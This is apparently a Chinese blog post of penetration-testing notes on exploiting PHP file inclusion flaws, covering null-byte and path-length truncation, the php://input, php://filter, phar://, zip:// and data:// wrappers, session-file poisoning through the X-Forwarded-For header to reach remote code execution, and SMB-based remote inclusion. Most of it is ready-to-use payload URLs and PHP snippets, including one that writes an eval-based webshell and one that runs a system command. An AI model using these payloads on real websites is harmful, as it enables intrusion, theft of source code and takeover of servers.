zoukankan      html  css  js  c++  java
  • 11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE

    远程文件包含利用知识

    配置条件:

    Allow_url_fopen打开

    Allow_url_include打开

    %00截断(php<5.3版本)

    %00截断:http://127.0.0.1/include/test.php?file=file1.html%00

    有后缀名限制的文件包含

    Include($_GET[“file”].”.php”);

    <?php include("./up/".$_GET["file"]);?>

    127.0.0.1/include/test.php?file=../../../../123.txt 这样的会直接目录跳转

    同时又前后缀限制,需要重点考虑后缀名的绕过,方法如下:

    %00截断

    路径长度截断

    ?file=../../../../../boot.ini/./././.~~~~./././

    PHP<5.2.8可以成功,linux需要文件名长于4096windows需要长于256

    PHP伪协议

    Include($_POST[“a”]);

    a=如下

    zip://     处理zip数据流

    phar://   处理rar数据流

     

    PHP协议getpost自己看着定)

    ?file=php://input    POST:<? phpinfo();?>

    利用条件:allow_url_include = On,对allow_url_fopen不做要求

    如果将POST的数据修改为:

    <?php fputs(fopen("shell.php","w"),"<?php eval($_POST['cmd']);?>");?>    

    在当前的页面的目录下生成shell.php

     include($_POST[“a”]);

    a=php://input&<?php system('net user');?>

     php://filter  

    条件:无

    读取文件中内容(站点源码或者其他敏感文件)

    file=php://filter/read=convert.base64-encode/resource=index.php

    file=php://filter/convert.base64-encode/resource=index.php

    file=php://filter/string.rot13/resource=index.php

    string.rot13 对字符串执行ROT13转换

    string.toupper转换为大写

    string.tolower 转换为小写

    string.strip_tags去除htmlphp标记

    convert.base64-encode & convert.base64-decode base64编码/解码

    <?php phpinfo();?>--ROT13--> <?cuc cucvasb();?>  te.php

    file=php://filter/string.rot13/resource=te.php  (最后直接执行)

    如果使用rot13编码的方式去读PHP文件需要注意模块short_open_tag的开关情况,

    则该方法仅限于当short_open_tag不开启的时候,读出来之后rot13解密即可!

    Phpar://   

    要求:php>=5.30

    ifno.txt打包成zip文件放到服务器目录中

    相对路径访问:

    127.0.0.1/include/test.php?a=phar://info.zip/info.txt

    绝对路径访问:

    127.0.0.1/include/test.php?a=phar://文件地址

    zip://

    要求:php>=5.3

    只能使用绝对路径访问,并且将在压缩包后的/改为%23 #url写法)

    127.0.0.1/include/test.php?a=phar://文件地址/ifno.zip%23info.txt

    data://

    条件:php>5.2

    Allow_url_fopne=on

    Allow_url_include=on

    127.0.0.1/include/test.php?a=data://text/plain,<?php phpinfo();?>

     

    注意有,

    变形:64位加密并换为url

    127.0.0.1/include/test.php?a=data://text/plain;base64,<?php phpinfo();?>(继续变)

    127.0.0.1/include/test.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(继续变)

    127.0.0.1/include/test.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b(可用)

     

    文件包含漏洞包含本地session最终实现RCE

    Step1:找到文件包含漏洞点:127.0.0.1/fileInclude/nojieduan.php?file=test.txt

    Step2:审计代码,发现可以往session文件中写入恶意代码(自己写)

     

    修改浏览器中的参数x-forwarded-for的值

     

    再次访问页面,就会在session中写入刚刚的值

     

    从下面我们能知道该session的名称,或者直接文件中找

     

     

    之后访问就能成功执行漏洞的语句127.0.0.1/fileInclude/nojieduan.php?file=D:phpstudy_proExtensions mp mpsess_f5ia0fjppgdriretmrh4bvq0u4

     

    session文件开头一般是sess_

     

    Step3:包含执行里面的恶意代码

    共享文件实现有限条件下的远程文件包含

    allow_url_inculdeallow_url_fopen都是off的时候直接通过HTTP去进行远程文件包含会包含失败,但是可以通过SMB协议在这种情况下进行远程文件包含

  • 相关阅读:
    Tensorflow2.0笔记07——神经网络复杂度
    Tensorflow2.0笔记06——扩展方法(本地读取数据集、简易神经网络、优化)
    Tensorflow2.0笔记05——程序实现鸢尾花数据集分类
    Tensorflow2.0笔记04——Tensorflow常用函数
    Tensorflow2.0笔记03——基本概念
    Tensorflow2.0笔记02——神经网络的设计过程
    菜鸟弹性调度系统的架构设计——阅读心得
    微博深度学习平台架构和实践——阅读心得
    豆瓣基础架构——阅读心得
    美团云的网络架构演进之路——阅读心得
  • 原文地址:https://www.cnblogs.com/x98339/p/11843437.html
Copyright © 2011-2022 走看看